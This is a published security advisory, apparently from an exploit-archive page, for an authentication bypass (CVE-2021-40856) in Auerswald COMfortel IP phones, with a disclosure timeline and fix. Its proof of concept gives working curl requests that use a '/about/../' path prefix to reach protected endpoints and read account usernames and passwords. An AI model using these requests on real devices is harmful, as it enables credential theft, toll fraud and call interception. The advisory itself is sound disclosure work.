0990eb4d38
8 changes to exploits/shellcodes HCL Lotus Notes V12 - Unquoted Service Path Auerswald COMfortel 2.8F - Authentication Bypass Auerswald COMpact 8.0B - Privilege Escalation Auerswald COMpact 8.0B - Arbitrary File Disclosure Auerswald COMpact 8.0B - Multiple Backdoors Advanced Comment System 1.0 - Remote Command Execution (RCE) Croogo 3.0.2 - Remote Code Execution (Authenticated)
317 lines
No EOL
9.3 KiB
Text
317 lines
No EOL
9.3 KiB
Text
# Exploit Title: Auerswald COMfortel 2.8F - Authentication Bypass
|
|
# Date: 06/12/2021
|
|
# Exploit Author: RedTeam Pentesting GmbH
|
|
# Version: 1400/2600/3600
|
|
|
|
Advisory: Auerswald COMfortel 1400/2600/3600 IP Authentication Bypass
|
|
|
|
|
|
RedTeam Pentesting discovered a vulnerability in the web-based
|
|
configuration management interface of the Auerswald COMfortel 1400 and
|
|
2600 IP desktop phones. The vulnerability allows accessing configuration
|
|
data and settings in the web-based management interface without
|
|
authentication.
|
|
|
|
|
|
Details
|
|
=======
|
|
|
|
Product: Auerswald COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP
|
|
Affected Versions: <= 2.8F
|
|
Fixed Versions: 2.8G (for COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP)
|
|
Vulnerability Type: Authentication Bypass
|
|
Security Risk: high
|
|
Vendor URL: https://www.auerswald.de
|
|
Vendor Status: fixed version released
|
|
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-004
|
|
Advisory Status: published
|
|
CVE: CVE-2021-40856
|
|
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40856
|
|
|
|
|
|
Introduction
|
|
============
|
|
|
|
"The COMfortel 2600 IP is an Android-based hybrid VoIP telephone (SIP and
|
|
IP system phone), with 4.3" colour touch display and preconfigured
|
|
answering machine"
|
|
|
|
(from the vendor's homepage)
|
|
|
|
|
|
More Details
|
|
============
|
|
|
|
During a penetration test it was discovened that several VoIP phones
|
|
(COMfortel 2600 and 1400 IP) by the manufacturer Auerswald allow
|
|
accessing administrative functions without login credentials, bypassing
|
|
the authentication. This can be achieved by simply prefixing API
|
|
endpoints that require authentication with "/about/../", since the
|
|
"/about" endpoint does not require any authentication.
|
|
|
|
|
|
Proof of Concept
|
|
================
|
|
|
|
The phones run a web-based management interface on Port 80. If accessed,
|
|
the HTTP response code 401 together with a website redirecting to the
|
|
path "/statics/pageChallenge.html" is returned. This can for example be
|
|
seen using the command-line HTTP client curl[1] as follows:
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl --include 'http://192.168.1.190/'
|
|
HTTP/1.1 401 Unauthorized
|
|
[...]
|
|
|
|
<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
|
|
URL=/statics/pageChallenge.html'></head><body></body></html>
|
|
------------------------------------------------------------------------
|
|
|
|
The website contains JavaScript code that requests the path
|
|
"/about?action=get" and loads a JSON document (formatted and shortened
|
|
to increase readability):
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl --include 'http://192.168.1.190/about?action=get'
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: application/json; charset=utf-8;
|
|
Cache-Control: no-cache
|
|
Content-Length: 3673
|
|
Date: Mon, 30 Aug 2021 08:39:24 GMT
|
|
Server: lighttpd
|
|
|
|
{
|
|
"DATA": {
|
|
"firmware": {
|
|
"TYPE": "DATAITEM",
|
|
"VALUE": "2.8E",
|
|
"KEY": "firmware"
|
|
},
|
|
"serial": {
|
|
"TYPE": "DATAITEM",
|
|
"VALUE": "1234567890",
|
|
"KEY": "serial"
|
|
},
|
|
[...]
|
|
}
|
|
}
|
|
|
|
------------------------------------------------------------------------
|
|
|
|
Among other information, this JSON document contains the serial number
|
|
and firmware version displayed on the website. This action can be
|
|
accessed without authentication. Other endpoints require authentication,
|
|
for example the path "/tree?action=get", from which the menu structure
|
|
is loaded after successful authentication:
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl --include 'http://192.168.1.190/tree?action=get'
|
|
HTTP/1.1 401 Unauthorized
|
|
[...]
|
|
|
|
<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
|
|
URL=/statics/pageChallenge.html'></head><body></body></html>
|
|
------------------------------------------------------------------------
|
|
|
|
During the penetration test, it was discovered that this action can
|
|
successfully be requested by inserting the prefix "/about/../". In order
|
|
to prevent curl from normalizing the URL path, the option "--path-as-is"
|
|
must be supplied:
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl --include --path-as-is \
|
|
'http://192.168.1.190/about/../tree?action=get'
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: application/json; charset=utf-8;
|
|
Cache-Control: no-cache
|
|
Content-Length: 3808
|
|
Date: Mon, 30 Aug 2021 08:42:11 GMT
|
|
Server: lighttpd
|
|
|
|
{
|
|
"TYPE": "TREENODEPAGE",
|
|
"ITEMS": {
|
|
"COUNT": 2,
|
|
"TYPE": "ITEMLIST",
|
|
"1": {
|
|
"id": 31,
|
|
"text": "applications_settings",
|
|
"TYPE": "TREENODEPAGE",
|
|
"ITEMS": {
|
|
"COUNT": 1,
|
|
"TYPE": "ITEMLIST",
|
|
"0": {
|
|
"target": "pageFunctionkeys.html",
|
|
"id": 32,
|
|
"action": "/functionkeys",
|
|
"text": "key_app",
|
|
"pagename": "Functionkeys",
|
|
"TYPE": "TREENODEPAGE"
|
|
}
|
|
}
|
|
},
|
|
[...]
|
|
}
|
|
}
|
|
------------------------------------------------------------------------
|
|
|
|
The endpoint "/account" allows listing account data:
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl --include --path-as-is \
|
|
'http://192.168.1.190/about/../account?action=list'
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: application/json; charset=utf-8;
|
|
Cache-Control: no-cache
|
|
Content-Length: 793
|
|
Date: Mon, 30 Aug 2021 08:43:33 GMT
|
|
Server: lighttpd
|
|
|
|
{
|
|
"DATA": {
|
|
[...]
|
|
"accountList0": {
|
|
"KEY": "accountList0",
|
|
"COUNT": 1,
|
|
"TYPE": "DATAMODEL",
|
|
"VALUE": {
|
|
"0": {
|
|
"ID": 32327,
|
|
"PARENTID": 0,
|
|
"PROVIDER": "ProviderName",
|
|
"NAME": "123 Example User",
|
|
"STATUS": 4,
|
|
"DEFAULT": 1
|
|
}
|
|
},
|
|
[...]
|
|
},
|
|
}
|
|
}
|
|
------------------------------------------------------------------------
|
|
|
|
The ID 32327 can then be used to get details about that particular
|
|
account, including the username and password:
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl --include --path-as-is \
|
|
'http://192.168.1.190/about/../account?action=get&itemID=32327'
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: application/json; charset=utf-8;
|
|
Cache-Control: no-cache
|
|
Content-Length: 2026
|
|
Date: Mon, 30 Aug 2021 08:44:13 GMT
|
|
Server: lighttpd
|
|
|
|
{
|
|
"DATA": {
|
|
[...]
|
|
"Benutzer": {
|
|
"TYPE": "DATAITEM",
|
|
"VALUE": "123",
|
|
"KEY": "Benutzer"
|
|
},
|
|
"Passwort": {
|
|
"TYPE": "DATAITEM",
|
|
"VALUE": "secret",
|
|
"KEY": "Passwort"
|
|
},
|
|
[...]
|
|
}
|
|
}
|
|
------------------------------------------------------------------------
|
|
|
|
Using a script for Zed Attack Proxy[2], RedTeam Pentesting managed to
|
|
access and use the web-based management interface as if regular login
|
|
credentials were presented.
|
|
|
|
It is likely that other functionality can be accessed in the same way,
|
|
to for example change settings or activate the integrated option for
|
|
recording the Ethernet traffic.
|
|
|
|
|
|
Workaround
|
|
==========
|
|
|
|
Disable the web-based management interface if possible.
|
|
|
|
|
|
Fix
|
|
===
|
|
|
|
Upgrade to a firmware version which corrects this vulnerability.
|
|
|
|
|
|
Security Risk
|
|
=============
|
|
|
|
Inserting the prefix "/about/../" allows bypassing the authentication
|
|
check for the web-based configuration management interface. This enables
|
|
attackers to gain access to the login credentials used for
|
|
authentication at the PBX, among other data.
|
|
|
|
Attackers can then authenticate at the PBX as the respective phone and
|
|
for example call premium rate phone lines they operate to generate
|
|
revenue. They can also configure a device they control as the PBX in the
|
|
phone, so all incoming and outgoing phone calls are intercepted and can
|
|
be recorded. The device also contains a function to record all Ethernet
|
|
data traffic, which is likely affected as well.
|
|
|
|
Overall, the vulnerability completely bypasses the authentication for
|
|
the web-based management interface and therefore poses a high risk.
|
|
|
|
|
|
References
|
|
==========
|
|
|
|
[1] https://curl.se
|
|
[2] https://github.com/zaproxy/zaproxy/
|
|
|
|
Timeline
|
|
========
|
|
|
|
2021-08-26 Vulnerability identified
|
|
2021-09-01 Customer approved disclosure to vendor
|
|
2021-09-10 Vendor notified
|
|
2021-09-10 CVE ID requested
|
|
2021-09-10 CVE ID assigned
|
|
2021-10-04 Vendor provides access to device with fixed firmware
|
|
2021-10-05 RedTeam Pentesting examines device, vulnerability seems to be corrected
|
|
2021-10-14 Vendor releases corrected firmware version 2.8G
|
|
2021-12-06 Advisory published
|
|
|
|
|
|
RedTeam Pentesting GmbH
|
|
=======================
|
|
|
|
RedTeam Pentesting offers individual penetration tests performed by a
|
|
team of specialised IT-security experts. Hereby, security weaknesses in
|
|
company networks or products are uncovered and can be fixed immediately.
|
|
|
|
As there are only few experts in this field, RedTeam Pentesting wants to
|
|
share its knowledge and enhance the public knowledge with research in
|
|
security-related areas. The results are made available as public
|
|
security advisories.
|
|
|
|
More information about RedTeam Pentesting can be found at:
|
|
https://www.redteam-pentesting.de/
|
|
|
|
|
|
Working at RedTeam Pentesting
|
|
=============================
|
|
|
|
RedTeam Pentesting is looking for penetration testers to join our team
|
|
in Aachen, Germany. If you are interested please visit:
|
|
https://www.redteam-pentesting.de/jobs/
|
|
|
|
|
|
--
|
|
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
|
|
Dennewartstr. 25-27 Fax : +49 241 510081-99
|
|
52068 Aachen https://www.redteam-pentesting.de
|
|
Germany Registergericht: Aachen HRB 14004
|
|
Geschäftsführer: Patrick Hof, Jens Liebchen |